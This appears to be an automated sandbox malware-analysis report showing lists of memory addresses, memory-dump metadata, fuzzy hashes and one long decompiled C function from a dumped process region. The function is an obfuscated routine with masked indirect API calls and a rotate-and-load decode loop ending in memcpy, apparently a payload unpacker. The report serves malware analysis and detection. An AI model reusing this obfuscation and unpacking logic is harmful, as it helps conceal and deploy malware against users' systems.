0x031e369b
0x031e36a1
0x031e36a9
0x031e36b0
0x031e36b6
0x031e36bb
0x031e36be
0x031e36c1
0x031e36d5
0x031e36df
0x031e36e5
0x031e36e8
0x031e36f1
0x031e36f4
0x031e36fa
0x031e3701
0x031e3704
0x031e370a
0x031e3714
0x031e3717
0x031e3722
0x031e3727
0x031e372b
0x031e3730
0x031e3731
0x031e373e
0x031e3743
0x031e3745
0x031e374c
0x031e3750
0x031e3753
0x031e3759
0x031e3760
0x031e3763
0x031e376b
0x031e3772
0x031e3778
0x031e3778
0x031e377b
0x031e377e
0x031e3783
0x031e3786
0x031e378b
0x031e378d
0x031e3793
0x031e379a
0x031e379d
0x031e37a3
0x031e37ad
0x031e37b0
0x031e37b0
0x031e37b8
0x031e37bf
0x031e37c5
0x031e37c6
0x031e37cd
0x031e37d0
0x031e37d7
0x031e37da
0x031e37dd
0x031e37e3
0x031e37ed
0x031e37f0
0x031e37f6
0x031e37fe
0x031e3805
0x031e380b
0x031e381a
0x031e381b
0x031e3825
0x031e3828
0x031e382e
0x031e3835
0x031e3838
0x031e383e
0x031e3845
0x031e384b
0x031e3853
0x031e3858
0x031e385b
0x031e385e
0x031e3864
0x031e386e
0x031e3871
0x031e3878
0x031e387b
0x031e387e
0x031e3884
0x031e388c
0x031e3893
0x031e3899
0x031e38a2
0x031e38a5
0x031e38ab
0x031e39ad
0x031e39bb
0x031e39c0
0x031e39c3
0x031e39c6
0x031e39c9
0x031e39ca
0x031e39cc
0x031e39cf
0x031e39d0
0x031e39d7
0x031e39da
0x031e39dd
0x031e39e0
0x031e39e1
0x031e39e3
0x031e39e7
0x031e39eb
0x031e39ee
0x031e39f4
0x031e39f7
0x031e39f7
0x031e39fc
0x031e3a11
0x031e38b1
0x031e38b2
0x031e38b6
0x031e38b9
0x031e38bf
0x031e38c6
0x031e38c9
0x031e38d0
0x031e38d4
0x031e38d7
0x031e38dd
0x031e38e5
0x031e38ec
0x031e38f5
0x031e3904
0x031e3908
0x031e390b
0x031e390e
0x031e3915
0x031e3918
0x031e391b
0x031e3922
0x031e3926
0x031e3929
0x031e3932
0x031e3935
0x031e393d
0x031e3945
0x031e3949
0x031e394e
0x031e394f
0x031e3961
0x031e3963
0x031e396c
0x031e396f
0x031e3975
0x031e397c
0x031e397f
0x031e3985
0x031e398d
0x031e3994
0x031e399a
0x031e39a6
0x031e39a6

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
Instruction ID: 88c0152dac025ea26b0d9efdb111441c33ab942b4e0f201abc8aeed8373765d0
Opcode Fuzzy Hash: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
Instruction Fuzzy Hash: F3522572944608EFEB04DFA0C88A7AEBBF1FF08310F1585AED896EA145D7345664CF19

Uniqueness

Uniqueness Score: -1.00%

Function 031E3FAB, Relevance: .6, Instructions: 566
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E031E3FAB(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t346;
				signed int _t351;
				signed int _t352;
				signed int _t355;
				void* _t359;
				void* _t361;
				signed int _t362;
				signed int _t367;
				void* _t369;
				void* _t370;
				signed int _t374;
				signed int _t377;
				signed int _t380;
				signed int _t385;
				void* _t387;
				void* _t389;
				intOrPtr _t390;
				void _t393;
				signed int _t397;
				intOrPtr _t403;
				signed int _t408;
				signed int _t410;
				signed int _t415;
				signed int _t418;
				void* _t420;
				signed int _t421;
				void* _t424;
				signed int _t429;
				signed int _t430;
				signed int _t433;
				void* _t437;
				void* _t439;
				signed int _t440;
				signed int _t443;
				intOrPtr _t445;
				signed int _t451;
				signed int _t454;
				signed int _t457;
				signed int _t459;
				signed int _t471;
				signed int _t473;
				signed int _t475;
				signed int _t478;
				void* _t481;
				signed int _t488;
				signed int _t489;
				signed int _t498;
				signed int _t500;
				signed int _t502;
				signed int _t504;
				signed int _t510;
				signed int _t513;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t520;
				signed int _t525;
				signed int _t528;
				signed int _t530;
				signed int _t532;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				signed int _t544;
				signed int _t548;
				signed int _t553;
				signed int _t559;
				signed int _t562;
				signed int _t565;
				void* _t570;
				void* _t577;
				signed int _t579;
				signed int _t582;
				signed int _t585;
				signed int _t590;
				void* _t591;
				signed int _t595;
				signed int _t598;
				signed int _t601;
				signed int _t604;
				signed int* _t608;
				signed int* _t609;
				signed int* _t610;
				signed int* _t611;
				signed int* _t612;
				signed int* _t613;
				signed int* _t614;
				signed int* _t615;
				signed int* _t616;
				signed int* _t617;
				signed int* _t621;
				signed int* _t622;
				signed int* _t623;

				_t585 = __esi;
				_t454 = __ebx;
				 *(_t598 - 0x1c) =  *(_t598 - 0x1c) & 0x00000000;
				_push( *(_t598 - 0x1c));
				 *_t608 =  *_t608 + __ebx + 0x41c4c0;
				_push( *((intOrPtr*)(__ebx + 0x41f060))());
				_pop( *_t6);
				_push( *(_t598 - 0x20));
				_pop( *_t8);
				_push(__ebx);
				 *_t608 =  *_t608 & 0x00000000;
				 *_t608 =  *_t608 | __ebx + 0x0041cf44;
				_push( *(_t598 - 0x1c));
				 *_t608 = __ebx + 0x41d05b;
				_t346 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x1c) = __edi;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) & 0x00000000;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) ^ (__edi -  *(_t598 - 0x1c) | _t346);
				_t559 =  *(_t598 - 0x1c);
				_t609 = _t608 - 0xfffffffc;
				 *(_t598 - 0x1c) = 0;
				_push( *(_t598 - 0x1c));
				 *_t609 =  *_t609 |  *_t608;
				_push( *(_t598 - 0x1c));
				 *_t609 = __ebx + 0x41c0d0;
				 *(_t598 - 0x20) =  *(_t598 - 0x20) & 0x00000000;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 | __ebx + 0x0041c99a;
				_t351 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x20) = __ecx;
				 *(__ebx + 0x41c6ff) = 0 ^ _t351;
				_t352 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push( *(_t598 - 0x1c));
				 *_t609 = _t352;
				_push(__edx);
				 *_t609 =  *_t609 ^ __edx;
				 *_t609 =  *_t609 ^ __ebx + 0x0041d1ce;
				 *(_t598 - 0x20) = 0;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 ^ __ebx + 0x0041c36e;
				_t355 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x24) = __edx;
				 *(__ebx + 0x41c65d) = 0 ^ _t355;
				_t510 =  *(_t598 - 0x24);
				_t610 = _t609 - 0xfffffffc;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) & 0x00000000;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) | _t510 -  *_t610 ^ (_t355 & 0x00000000) +  *_t609;
				_t513 = _t510;
				_push(_t513);
				 *_t610 =  *_t610 & 0x00000000;
				 *_t610 =  *_t610 ^ __ebx + 0x0041c369;
				_t359 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 + _t359;
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 ^ __ebx + 0x0041c4d6;
				_t361 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t611 = _t610 - 0xfffffffc;
				 *_t611 =  *_t611 | _t513;
				_t514 = _t361;
				_t362 = _t514 + ( *(_t598 - 0x20) & 0x00000000 |  *_t610);
				_t516 = 0;
				 *_t611 = _t516;
				_t471 = 0 ^  *(__ebx + 0x41c434);
				_t519 = 0;
				if(_t471 > _t362) {
					_push(_t471);
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + __ebx + 0x41c369;
					 *(_t598 - 0x1c) = 0;
					_push( *(_t598 - 0x1c));
					 *_t611 =  *_t611 ^ __ebx + 0x0041c4d6;
					_t362 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) & 0x00000000;
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) ^ _t598 ^  *_t611 ^ _t362;
				_t601 = _t598;
				if( *((intOrPtr*)(_t601 - 0x10)) != 2) {
					if( *((intOrPtr*)(_t601 - 0x10)) == 4) {
						_t156 = _t454 + 0x41d1be; // 0x41d1be
						 *_t611 = _t156;
						_t158 = _t454 + 0x41c0a8; // 0x41c0a8
						 *_t611 =  *_t611 & 0x00000000;
						 *_t611 =  *_t611 ^ _t158;
						_push( *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24)));
						_pop( *_t160);
						_push( *(_t601 - 0x20));
						_pop( *_t162);
						 *((intOrPtr*)(_t601 - 8)) = 1;
						_t164 = _t454 + 0x41c6f8; // 0x41c6f8
						 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
						 *_t611 =  *_t611 ^ _t164;
						_t408 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20));
						 *(_t601 - 0x20) = _t519;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) & 0x00000000;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) | _t519 ^  *(_t601 - 0x20) | _t408;
						_t548 =  *(_t601 - 0x20);
						 *((intOrPtr*)(_t601 - 0xc)) = 0x55;
						_t177 = _t454 + 0x41c356; // 0x41c356
						 *(_t601 - 0x1c) =  *(_t601 - 0x1c) & 0x00000000;
						 *_t611 =  *_t611 | _t177;
						_t410 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
						 *(_t601 - 0x24) = _t559;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) & 0x00000000;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) | _t559 & 0x00000000 ^ _t410;
						_t559 =  *(_t601 - 0x24);
						 *((intOrPtr*)(_t601 - 0x18)) = 2;
						_t189 = _t454 + 0x41cc3e; // 0x41cc3e
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 ^ _t189;
						_t193 = _t454 + 0x41cf5b; // 0x41cf5b
						 *_t611 =  *_t611 ^ _t585;
						 *_t611 = _t193;
						_t362 =  *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24));
						 *(_t601 - 0x20) = _t548;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) & 0x00000000;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) | _t548 & 0x00000000 | _t362;
						_t519 =  *(_t601 - 0x20);
					}
				} else {
					_t65 = _t454 + 0x41cb7a; // 0x41cb7a
					 *(_t601 - 0x1c) = 0;
					 *_t611 =  *_t611 + _t65;
					_t68 = _t454 + 0x41c8ec; // 0x41c8ec
					 *(_t601 - 0x24) = 0;
					 *_t611 =  *_t611 ^ _t68;
					_t415 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x24),  *(_t601 - 0x1c));
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) & 0x00000000;
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) ^ (_t585 & 0x00000000 | _t415);
					_t595 = _t585;
					_t76 = _t454 + 0x41c379; // 0x41c379
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 + _t76;
					_t80 = _t454 + 0x41c532; // 0x41c532
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 | _t80;
					_t418 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x20));
					 *_t611 = _t418;
					_t86 = _t454 + 0x41d201; // 0x41d201
					 *_t611 = _t86;
					_t420 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x24));
					_t498 = _t471 & 0x00000000 |  *_t611;
					_t621 =  &(_t611[1]);
					 *_t621 =  *_t621 + _t559;
					_t577 = _t420;
					_t421 = _t577 + _t498;
					_t579 = 0;
					_t500 = _t498 & 0x00000000 ^ (_t421 ^  *_t621 |  *(_t454 + 0x41cc21));
					_t424 = _t421;
					if(_t500 > _t424) {
						_t90 = _t454 + 0x41c532; // 0x41c532
						 *_t621 =  *_t621 & 0x00000000;
						 *_t621 =  *_t621 | _t90;
						_t91 = _t454 + 0x41d201; // 0x41d201
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t621 =  *_t621 | _t91;
						_t451 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x24), _t519);
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) & 0x00000000;
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) | _t601 -  *_t621 ^ _t451;
						_t601 = _t601;
					}
					_t622 = _t621 - 0xfffffffc;
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 |  *_t621;
					_t100 = _t454 + 0x41d01d; // 0x41d01d
					 *_t622 =  *_t622 ^ _t579;
					 *_t622 =  *_t622 | _t100;
					_t101 = _t454 + 0x41c37d; // 0x41c37d
					 *_t622 = _t101;
					_t429 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x1c), _t579, _t519);
					 *(_t601 - 0x20) = _t579;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) & 0x00000000;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) | _t579 & 0x00000000 | _t429;
					_t582 =  *(_t601 - 0x20);
					_t430 =  *((intOrPtr*)(_t454 + 0x41f060))();
					 *_t622 =  *_t622 ^ _t595;
					 *_t622 =  *_t622 | _t430;
					_t111 = _t454 + 0x41c8c2; // 0x41c8c2
					 *_t622 =  *_t622 - _t454;
					 *_t622 =  *_t622 + _t111;
					_t112 = _t454 + 0x41c737; // 0x41c737
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 ^ _t112;
					_t433 =  *((intOrPtr*)(_t454 + 0x41f068))(_t582, _t454, _t595);
					 *_t114 = _t433;
					_push( *(_t601 - 0x20));
					_pop( *_t116);
					_t623 = _t622 - 0xfffffffc;
					 *(_t601 - 0x20) = _t582;
					 *(_t454 + 0x41c606) = _t433 & 0x00000000 |  *_t622;
					_t559 =  *(_t601 - 0x20);
					 *((intOrPtr*)(_t601 - 8)) = 3;
					_t121 = _t454 + 0x41d2fe; // 0x41d2fe
					 *(_t601 - 0x1c) = 0;
					 *_t623 =  *_t623 | _t121;
					_t437 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
					 *_t623 =  *_t623 ^ _t559;
					 *_t623 =  *_t623 + _t437;
					_t125 = _t454 + 0x41d22a; // 0x41d22a
					 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
					 *_t623 =  *_t623 | _t125;
					_t439 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24), _t559);
					_t502 = _t500 & 0x00000000 |  *_t623;
					_t611 =  &(_t623[1]);
					 *(_t601 - 0x24) = _t519;
					_push(_t502 + _t439);
					_t553 =  *(_t601 - 0x24);
					_pop(_t440);
					 *(_t601 - 0x20) = _t440;
					_t504 = _t502 & 0x00000000 ^ (_t440 ^  *(_t601 - 0x20) |  *(_t454 + 0x41c48f));
					_t443 =  *(_t601 - 0x20);
					if(_t504 > _t443) {
						_t136 = _t454 + 0x41d2fe; // 0x41d2fe
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 + _t136;
						_t140 = _t454 + 0x41d22a; // 0x41d22a
						 *(_t601 - 0x20) = 0;
						 *_t611 =  *_t611 ^ _t140;
						_t443 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x20),  *(_t601 - 0x24));
					}
					 *_t611 = _t595;
					 *(_t454 + 0x41c2cf) = 0 ^ _t443;
					_t585 = 0;
					 *((intOrPtr*)(_t601 - 0xc)) = 0x11;
					_t146 = _t454 + 0x41d09f; // 0x41d09f
					 *_t611 =  *_t611 - _t559;
					 *_t611 =  *_t611 + _t146;
					_t445 =  *((intOrPtr*)(_t454 + 0x41f060))(_t559);
					 *(_t601 - 0x24) = _t504;
					 *((intOrPtr*)(_t454 + 0x41ce4e)) = _t445;
					_t471 =  *(_t601 - 0x24);
					 *((intOrPtr*)(_t601 - 0x18)) = 4;
					_t152 = _t454 + 0x41c4f7; // 0x41c4f7
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + _t152;
					_t362 =  *((intOrPtr*)(_t454 + 0x41f060))(_t471);
					 *_t611 = _t553;
					 *(_t454 + 0x41c895) = 0 ^ _t362;
					_t519 = 0;
				}
				_t520 = _t519 ^ _t519;
				 *_t611 =  *_t611 - _t559;
				 *_t611 = _t520;
				_t201 = _t454 + 0x41c61d; // 0x41c61d
				 *_t611 =  *_t611 ^ _t585;
				 *_t611 = _t201;
				_t367 =  *((intOrPtr*)(_t454 + 0x41f060))(_t585, _t559, _t362);
				 *_t611 = _t367;
				_t204 = _t454 + 0x41cf67; // 0x41cf67
				 *(_t601 - 0x24) = 0;
				 *_t611 =  *_t611 ^ _t204;
				_t369 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24),  *(_t601 - 0x1c));
				_pop( *_t208);
				_t473 = _t471 & 0x00000000 ^  *(_t601 - 0x24);
				 *(_t601 - 0x24) = _t559;
				_push(_t473 + _t369);
				_t562 =  *(_t601 - 0x24);
				_pop(_t370);
				_t475 = _t473 & 0x00000000 | _t601 & 0x00000000 ^  *(_t454 + 0x41c5dc);
				_t604 = _t601;
				if(_t475 > _t370) {
					_t213 = _t454 + 0x41c61d; // 0x41c61d
					 *(_t604 - 0x1c) = 0;
					 *_t611 =  *_t611 ^ _t213;
					_t216 = _t454 + 0x41cf67; // 0x41cf67
					 *(_t604 - 0x20) = 0;
					 *_t611 =  *_t611 | _t216;
					_t403 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t604 - 0x20),  *(_t604 - 0x1c));
					 *(_t604 - 0x1c) = _t475;
					 *((intOrPtr*)(_t454 + 0x41cf4f)) = _t403;
					_t475 =  *(_t604 - 0x1c);
				}
				_t612 =  &(_t611[1]);
				 *_t612 = _t475;
				_t478 = 0;
				 *_t612 = _t520 & 0x00000000 |  *_t611;
				_t225 = _t454 + 0x41cef6; // 0x41cef6
				 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
				 *_t612 =  *_t612 | _t225;
				_t229 = _t454 + 0x41ceb9; // 0x41ceb9
				 *_t612 =  *_t612 ^ _t604;
				 *_t612 =  *_t612 ^ _t229;
				_t374 =  *((intOrPtr*)(_t454 + 0x41f068))(_t604,  *(_t604 - 0x1c),  *(_t604 - 0x24));
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) & 0x00000000;
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) | _t478 ^  *_t612 | _t374;
				_t481 = _t478;
				_t613 = _t612 - 0xfffffffc;
				_t525 = _t374 %  *(_t604 - 0x18);
				 *_t613 =  *_t613 & 0x00000000;
				 *_t613 =  *_t613 | _t525;
				_t241 = _t454 + 0x41c52d; // 0x41c52d
				 *(_t604 - 0x24) = 0;
				 *_t613 =  *_t613 ^ _t241;
				_t377 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24), _t481);
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) & 0x00000000;
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) | _t525 & 0x00000000 | _t377;
				_t528 = _t525;
				_t530 = _t528 & 0x00000000 ^  *_t613;
				_t614 = _t613 - 0xfffffffc;
				 *((intOrPtr*)(_t604 - 4)) =  *((intOrPtr*)(_t604 - 4)) - _t530;
				 *(_t604 - 0x24) = 0;
				 *_t614 =  *_t614 | _t530;
				_t253 = _t454 + 0x41c7ee; // 0x41c7ee
				 *_t614 =  *_t614 ^ _t562;
				 *_t614 =  *_t614 ^ _t253;
				_t254 = _t454 + 0x41c513; // 0x41c513
				 *(_t604 - 0x20) = 0;
				 *_t614 =  *_t614 | _t254;
				_t380 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t604 - 0x20), _t562,  *(_t604 - 0x24), _t481);
				 *(_t604 - 0x20) = _t585;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) & 0x00000000;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) ^ _t585 & 0x00000000 ^ _t380;
				_t532 =  *_t614;
				_t615 =  &(_t614[1]);
				 *(_t604 - 0x1c) = _t380;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) & 0x00000000;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) | _t380 ^  *(_t604 - 0x1c) ^ _t532;
				_t271 = _t454 + 0x41ccc7; // 0x41ccc7
				 *(_t604 - 0x24) = 0;
				 *_t615 =  *_t615 | _t271;
				_t385 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24));
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) & 0x00000000;
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) | _t562 -  *_t615 | _t385;
				_t565 = _t562;
				_t590 =  *(_t604 - 0x20) & 0x00000000 ^ _t454 & 0x00000000 ^  *(_t604 + 8);
				_t457 = _t454;
				_t280 = _t457 + 0x41c550; // 0x41c550
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t280;
				_t387 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20));
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t387;
				_t286 = _t457 + 0x41d34c; // 0x41d34c
				 *_t615 = _t286;
				_t389 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20),  *(_t604 - 0x20));
				_t616 = _t615 - 0xfffffffc;
				 *_t289 = _t389;
				 *(_t604 - 0x24) =  *(_t604 - 0x24) + (0 ^  *_t615);
				_push( *(_t604 - 0x24));
				_pop(_t390);
				_t534 = _t532;
				 *(_t604 - 0x1c) = _t534;
				_t537 =  *(_t604 - 0x1c);
				if( *((intOrPtr*)(_t457 + 0x41ccf8)) > _t390) {
					_t296 = _t457 + 0x41c550; // 0x41c550
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t296;
					_t300 = _t457 + 0x41d34c; // 0x41d34c
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t300;
					_t390 =  *((intOrPtr*)(_t457 + 0x41f064))( *(_t604 - 0x1c),  *(_t604 - 0x1c));
				}
				 *(_t604 - 0x24) = _t537;
				 *((intOrPtr*)(_t457 + 0x41ce46)) = _t390;
				_t540 =  *(_t604 - 0x24);
				 *(_t604 - 0x1c) = _t540;
				_t310 = _t457 + 0x41cb9d; // 0x41cb9d
				 *_t616 =  *_t616 - _t590;
				 *_t616 =  *_t616 | _t310;
				_t311 = _t457 + 0x41cd17; // 0x41cd17
				 *(_t604 - 0x20) =  *(_t604 - 0x20) & 0x00000000;
				 *_t616 =  *_t616 | _t311;
				_t393 =  *((intOrPtr*)(_t457 + 0x41f068))( *(_t604 - 0x20), _t590);
				 *_t616 = _t565 & 0x00000000 | _t540 & 0x00000000 ^ _t590;
				 *(_t457 + 0x41d015) = 0 ^ _t393;
				_t570 = 0;
				_t591 = _t590 - 1;
				 *(_t604 - 0x1c) = 0;
				_push( *(_t604 - 0x1c));
				 *_t616 =  *_t616 | _t457;
				do {
					 *_t319 = _t570;
					_t488 =  *(_t604 - 0x20);
					_t489 = _t488 &  *(_t604 - 8);
					if(_t489 == 0) {
						_t591 = _t591 + 1;
						_t393 = _t393 & 0x00000000 ^ (_t570 -  *_t616 |  *(_t604 - 0x18));
						_t570 = _t570;
						_t457 =  *(_t393 + _t591) & 0x000000ff;
					}
					 *_t325 =  *((intOrPtr*)(_t604 - 0xc));
					_t544 =  *(_t604 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t393 = _t393 | _t544 & _t457;
					 *_t570 = _t393;
					_t570 = _t570 + 1;
					_t327 = _t604 - 4;
					 *_t327 =  *((intOrPtr*)(_t604 - 4)) - 1;
				} while ( *_t327 != 0);
				_t459 =  *_t616;
				_t617 =  &(_t616[1]);
				_t329 = _t459 + 0x41cc0b; // 0x41cc0b
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 ^ _t329;
				_t330 = _t459 + 0x41cbd0; // 0x41cbd0
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 | _t330;
				_t397 =  *((intOrPtr*)(_t459 + 0x41f068))(_t604, _t489);
				 *(_t604 - 0x20) = _t489;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) & 0x00000000;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) ^ (_t489 ^  *(_t604 - 0x20) | _t397);
				 *(_t604 - 0x1c) = _t459;
				return memcpy(_t570, _t591 + 1,  *(_t604 - 0x14));
			}

0x031e3fab
0x031e3fab
0x031e3fb1
0x031e3fb5
0x031e3fb8
0x031e3fc1
0x031e3fc2
0x031e3fc5
0x031e3fc8
0x031e3fd4
0x031e3fd5
0x031e3fd9
0x031e3fe2
0x031e3fe5
0x031e3fe8
0x031e3fee
0x031e3ff6
0x031e3ffd
0x031e4003
0x031e400b
0x031e400e
0x031e4015
0x031e4018
0x031e4021
0x031e4024
0x031e402d
0x031e4031
0x031e4034
0x031e4037
0x031e403d
0x031e4044
0x031e404d
0x031e4053
0x031e4056
0x031e405f
0x031e4060
0x031e4063
0x031e406c
0x031e4073
0x031e4076
0x031e4079
0x031e407f
0x031e4086
0x031e408c
0x031e4098
0x031e40a1
0x031e40a8
0x031e40ae
0x031e40b5
0x031e40b6
0x031e40ba
0x031e40bd
0x031e40c3
0x031e40ca
0x031e40cd
0x031e40d6
0x031e40dd
0x031e40e0
0x031e40e3
0x031e40f2
0x031e40f7
0x031e40fb
0x031e40fe
0x031e4100
0x031e4103
0x031e410e
0x031e4110
0x031e4113
0x031e411b
0x031e411c
0x031e411f
0x031e4128
0x031e412f
0x031e4132
0x031e4135
0x031e4135
0x031e4141
0x031e4148
0x031e414e
0x031e4153
0x031e446d
0x031e4473
0x031e447c
0x031e447f
0x031e4486
0x031e448a
0x031e4493
0x031e4494
0x031e4497
0x031e449a
0x031e44a0
0x031e44a7
0x031e44ad
0x031e44b4
0x031e44b7
0x031e44bd
0x031e44c5
0x031e44cc
0x031e44d2
0x031e44d5
0x031e44dc
0x031e44e2
0x031e44e9
0x031e44ec
0x031e44f2
0x031e44fa
0x031e4501
0x031e4507
0x031e450a
0x031e4511
0x031e4517
0x031e451e
0x031e4521
0x031e4528
0x031e452b
0x031e452e
0x031e4534
0x031e453c
0x031e4543
0x031e4549
0x031e4549
0x031e4159
0x031e4159
0x031e415f
0x031e4169
0x031e416c
0x031e4172
0x031e417c
0x031e417f
0x031e418b
0x031e4192
0x031e4198
0x031e4199
0x031e419f
0x031e41a6
0x031e41a9
0x031e41af
0x031e41b6
0x031e41b9
0x031e41c2
0x031e41c5
0x031e41ce
0x031e41d1
0x031e41dd
0x031e41e0
0x031e41e5
0x031e41e9
0x031e41ec
0x031e41ee
0x031e41fc
0x031e41fe
0x031e4201
0x031e4203
0x031e420a
0x031e420e
0x031e4211
0x031e4217
0x031e421e
0x031e4221
0x031e422d
0x031e4234
0x031e423a
0x031e423a
0x031e4240
0x031e4244
0x031e4248
0x031e424b
0x031e4252
0x031e4255
0x031e4258
0x031e4261
0x031e4264
0x031e426a
0x031e4272
0x031e4279
0x031e427f
0x031e4282
0x031e4289
0x031e428c
0x031e428f
0x031e4296
0x031e4299
0x031e429c
0x031e42a3
0x031e42a7
0x031e42aa
0x031e42b1
0x031e42b4
0x031e42b7
0x031e42c6
0x031e42c9
0x031e42d0
0x031e42d6
0x031e42d9
0x031e42e0
0x031e42e6
0x031e42f0
0x031e42f3
0x031e42fa
0x031e42fd
0x031e4300
0x031e4306
0x031e430d
0x031e4310
0x031e431c
0x031e431f
0x031e4322
0x031e4329
0x031e432a
0x031e432d
0x031e432e
0x031e433d
0x031e433f
0x031e4344
0x031e4346
0x031e434c
0x031e4353
0x031e4356
0x031e435c
0x031e4366
0x031e4369
0x031e4369
0x031e4371
0x031e4378
0x031e437e
0x031e437f
0x031e4386
0x031e438d
0x031e4390
0x031e4393
0x031e4399
0x031e43a0
0x031e43a6
0x031e43a9
0x031e43b0
0x031e43b7
0x031e43ba
0x031e43bd
0x031e43c5
0x031e43cc
0x031e43d2
0x031e43d2
0x031e4551
0x031e4555
0x031e4558
0x031e455b
0x031e4562
0x031e4565
0x031e4568
0x031e4571
0x031e4574
0x031e457a
0x031e4584
0x031e4587
0x031e4593
0x031e4596
0x031e4599
0x031e45a0
0x031e45a1
0x031e45a4
0x031e45b2
0x031e45b4
0x031e45b7
0x031e45b9
0x031e45bf
0x031e45c9
0x031e45cc
0x031e45d2
0x031e45dc
0x031e45df
0x031e45e5
0x031e45ec
0x031e45f2
0x031e45f2
